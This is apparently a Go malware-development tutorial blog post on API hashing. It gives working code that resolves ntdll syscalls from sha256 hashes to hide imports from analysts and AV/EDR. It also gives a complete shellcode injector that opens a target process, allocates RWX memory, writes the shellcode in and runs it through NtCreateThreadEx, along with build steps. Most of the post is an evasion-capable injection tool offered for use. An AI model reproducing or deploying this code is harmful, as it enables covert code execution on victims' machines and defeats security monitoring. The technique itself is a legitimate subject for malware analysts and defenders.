Home Malware Development 5 - Malware analysis evasion via Api Hashing (Golang)
Post
Cancel

Malware Development 5 - Malware analysis evasion via Api Hashing (Golang)

Introduction

Hello hackers!

Today we’re going to see how real malware protect themselves from being analyzed using a technique called Api Hashing.

Explanation

First of all we should know what the IAT of a PE file is. IAT means Import Address Table and is part of the PE (Portable Executable) structure and its components are this (Golang code):

1
2
3
4
5
6
7
8
type ImportDirectory struct {
  OriginalFirstThunk  uint32
  TimeDateStamp       uint32
  ForwarderChain      uint32
  NameRVA             uint32
  FirstThunk          uint32
  DllName             string
}

If you don’t know too much about this you should take a look at https://0xrick.github.io/ blog, he has some really interesting posts about the different parts of PE files.

Malware analyzers and PE parsers (ab)use the IAT of files as it reveals really useful information which can determine if a PE imports some strange functions or DLLs. For example if you test this out with out payload from the first Malware Development post you will see that it imports OpenProcess, VirtualAllocEx, WriteProcessMemory and CreateRemoteThreadEx which is a strong sign of malware. But what if we hide the imported functions in the IAT?

At this point red teamers use Api Hashing, a technique in which the function is represented as a hash and you get its syscall to call it later so the strings can’t be analyzed. The main workflow will be something like this:

If someone looks at the source code, he/she won’t be able to know which Windows API function is trying to call as only the hash is visible. The hashing algorithm can be whatever you want or you can create your custom encoding algorithm, in our case we’ll be using sha256

Code

First of all we will code a simple program which will receive a string via CLI and will print it as a sha256 hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package main

import (
  "os"
  "fmt"
  "encoding/hex"
  "crypto/sha256"
)

func main(){

  if len(os.Args) != 2 {
    fmt.Println("Usage: ./main NtOpenProcess")
    os.Exit(0)
  }

  hash := sha256.Sum256([]byte(os.Args[1]))
  function_hash := hex.EncodeToString(hash[:])

  fmt.Println("Hash:", function_hash)
}

If we test it we see that it works as expected

Here are the function names converted to hashes:

1
2
3
4
5
NtOpenProcess --> b76d2ff3e50b716aefc3d0794643a19c6fd410c826d8ff8856821fcc7dc35888
NtAllocateVirtualMemory --> 078b183f59677940916dc1da6726b10497d230dff219f845c7d04c1f0425c388
NtWriteVirtualMemory --> 6d51355d37c96dec276ee56a078256831610ef9b42287e19e1b85226d451410b
NtCreateThreadEx --> a3b64f7ca1ef6588607eac4add97fd5dfbb9639175d4012038fc50984c035bcd
NtClose --> 6ee03b14f864a4cd9ceffbf4afca092fd2b635a660f5273f01df1b7a88724f4f

In this case we’ll be using the same injection technique of the first post but replacing kernel32 functions like VirtualAlloc to native ones.

Now we have to create a function which takes care of getting all function names from ntdll.dll, converting it to sha256 and checking if hashes match. For this we use github.com/Binject/debug/pe an useful package to interact with PE files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
func FunctionFromHash(hash string) (uint16, error) {
  // Avoid static string detection
  ntdll := string([]byte{'C',':','\\','\\','W','i','n','d','o','w','s','\\','S','y','s','t','e','m','3','2','\\','n','t','d','l','l','.','d','l','l'})

  // Open and parse PE file
  pe_file, err := pe.Open(ntdll)
  if err != nil {
    return 0, err
  }
  defer pe_file.Close()

  // Get export table
  exports, err := pe_file.Exports()
  if err != nil {
    return 0, err
  }

  // Iterate over exports
  for _, exp := range exports {
    // Encode loop function name to sha256
    h := sha256.Sum256([]byte(exp.Name))
    func_to_hash := hex.EncodeToString(h[:])

    // Now check if hashes match
    if (hash == func_to_hash) {
      // Convert RVA to offset
      offset := RvaToOffset(pe_file, exp.VirtualAddress)
      bBytes, err := pe_file.Bytes()
      if err != nil {
        return 0, err
      }

      buff := bBytes[offset : offset+10]
      sysId := binary.LittleEndian.Uint16(buff[4:8])

      return sysId, nil
    }
  }

  return 0, errors.New("Function not found!")
}

We also have to define the RvaToOffset() function

1
2
3
4
5
6
7
8
9
10
11
func RvaToOffset(pefile *pe.File, rva uint32) (uint32) {
  for _, hdr := range pefile.Sections {
    baseoffset := uint64(rva)
    if baseoffset > uint64(hdr.VirtualAddress) &&
      baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) {
      return rva - hdr.VirtualAddress + hdr.Offset
    }
  }

  return rva
}

Once we have those functions, we have to use the syscall ID and we can do it using the hooka.Syscall() function from my own malware dev project which receives an uint16 argument (syscall) and an unlimited amout of uintptr arguments (arguments):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
...

func main(){
  sysId, err := FunctionFromHash("your-hash-here")
  if err != nil {
    log.Fatal(err)
  }

  ret, err := hooka.Syscall(
    sysId,
    arg1,
    arg2,
    arg3,
    ...
  )

  if ret != 0 {
    log.Fatal(err)
  }
}

I won’t explain in depth the usage of the native functions arguments, but I’ve chosen them as they’re easier to use with the handles and process because the common functions like OpenProcess directly return the process handle and we can’t do that if we’re executing the functions like this so it’s better with native functions.

There are some comments along the code to help you understanding it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
package main

// Import packages
import (
  "os"
  "fmt"
  "log"
  "errors"
  "unsafe"
  "strconv"
  "io/ioutil"
  "encoding/hex"
  "crypto/sha256"
  "encoding/binary"

  "golang.org/x/sys/windows"

  "github.com/Binject/debug/pe"
  "github.com/D3Ext/Hooka/pkg/hooka"
)

// Define necessary struct
type ClientID struct {
  UniqueProcess uintptr
  UniqueThread  uintptr
}

// Already explained functions omitted for brevety

func main(){
  // Receive arguments via CLI
  pid_str := os.Args[1]
  shellcode_file := os.Args[2]
  fmt.Println("Process ID: " + pid_str)
  fmt.Println("Shellcode file: " + shellcode_file)

  // Convert CLI argument to int
  pid, _ := strconv.Atoi(pid_str)

  // Open given shellcode file
  f, err := os.Open(shellcode_file)
  if err != nil {
    log.Fatal(err)
  }
  defer f.Close()

  // Convert shellcode to bytes
  shellcode, err := ioutil.ReadAll(f)
  if err != nil {
    log.Fatal(err)
  }

  // Retrieve syscalls with its hashes (check variable name)
  NtOpenProcess, err := FunctionFromHash("b76d2ff3e50b716aefc3d0794643a19c6fd410c826d8ff8856821fcc7dc35888")
  if err != nil {
    log.Fatal(err)
  }

  NtAllocateVirtualMemory, err := FunctionFromHash("078b183f59677940916dc1da6726b10497d230dff219f845c7d04c1f0425c388")
  if err != nil {
    log.Fatal(err)
  }

  NtWriteVirtualMemory, err := FunctionFromHash("6d51355d37c96dec276ee56a078256831610ef9b42287e19e1b85226d451410b")
  if err != nil {
    log.Fatal(err)
  }

  NtCreateThreadEx, err := FunctionFromHash("a3b64f7ca1ef6588607eac4add97fd5dfbb9639175d4012038fc50984c035bcd")
  if err != nil {
    log.Fatal(err)
  }

  NtClose, err := FunctionFromHash("6ee03b14f864a4cd9ceffbf4afca092fd2b635a660f5273f01df1b7a88724f4f")
  if err != nil {
    log.Fatal(err)
  }

  // Start calling functions

  fmt.Println("Calling NtOpenProcess...")
  var pHandle uintptr
  r, err := hooka.Syscall(
    NtOpenProcess,
    uintptr(unsafe.Pointer(&pHandle)),
    0x1F0FFF,
    uintptr(unsafe.Pointer(&windows.OBJECT_ATTRIBUTES{RootDirectory: 0})),
    uintptr(unsafe.Pointer(&ClientID{UniqueProcess: uintptr(pid), UniqueThread: 0})),
  )

  if err != nil || r != 0 { // Handle error
    log.Fatal(err)
  }

  // Required variables
  regionSize := uintptr(len(shellcode))
  var rPtr uintptr

  fmt.Println("Calling NtAllocateVirtualMemory...")
  r1, err := hooka.Syscall(
    NtAllocateVirtualMemory,
    pHandle,
    uintptr(unsafe.Pointer(&rPtr)),
    0,
    uintptr(unsafe.Pointer(&regionSize)),
    windows.MEM_COMMIT|windows.MEM_RESERVE,
    windows.PAGE_EXECUTE_READWRITE,
  )

  if r1 != 0 { // Handle error
    log.Fatal(err)
  }

  fmt.Println("Calling NtWriteVirtualMemory...")
  var bytesWritten uint32
  r2, err := hooka.Syscall(
    NtWriteVirtualMemory,
    pHandle,
    rPtr,
    uintptr(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)),
    uintptr(unsafe.Pointer(&bytesWritten)),
  )

  if r2 != 0 { // Handle error
    log.Fatal(err)
  }

  fmt.Println("Calling NtCreateThreadEx...")
  var tHandle uintptr
  _, err = hooka.Syscall(
    NtCreateThreadEx,
    uintptr(unsafe.Pointer(&tHandle)),
    windows.STANDARD_RIGHTS_ALL|windows.SPECIFIC_RIGHTS_ALL,
    0,
    pHandle,
    rPtr,
    0,
    uintptr(0),
    0,
    0,
    0,
    0,
  )

  if err != nil { // Handle error
    log.Fatal(err)
  }

  fmt.Println("Calling NtClose...")
  hooka.Syscall(
    NtClose,
    uintptr(unsafe.Pointer(&tHandle)),
  )

  fmt.Println("Shellcode should have been executed!")
}

Let’s test it out

Demo

Compile the golang code:

1
GOARCH=amd64 GOOS=windows go build main.go

Transfer the generated .exe to a Windows machine

And finally the shellcode gets executed

Let’s see what VirusTotal and antiscan.me say about our payload

References

1
2
3
4
https://neil-fox.github.io/Anti-analysis-using-api-hashing/
https://malware.news/t/api-hashing-in-the-zloader-malware/40695
https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware

Conclusion

We’ve learned that this technique is really useful as it protect our malware from being analyzed and AV/EDR can’t know what Windows API functions we are importing by directly looking at the IAT of the PE.

Source code here

Go back to top

This post is licensed under CC BY 4.0 by the author.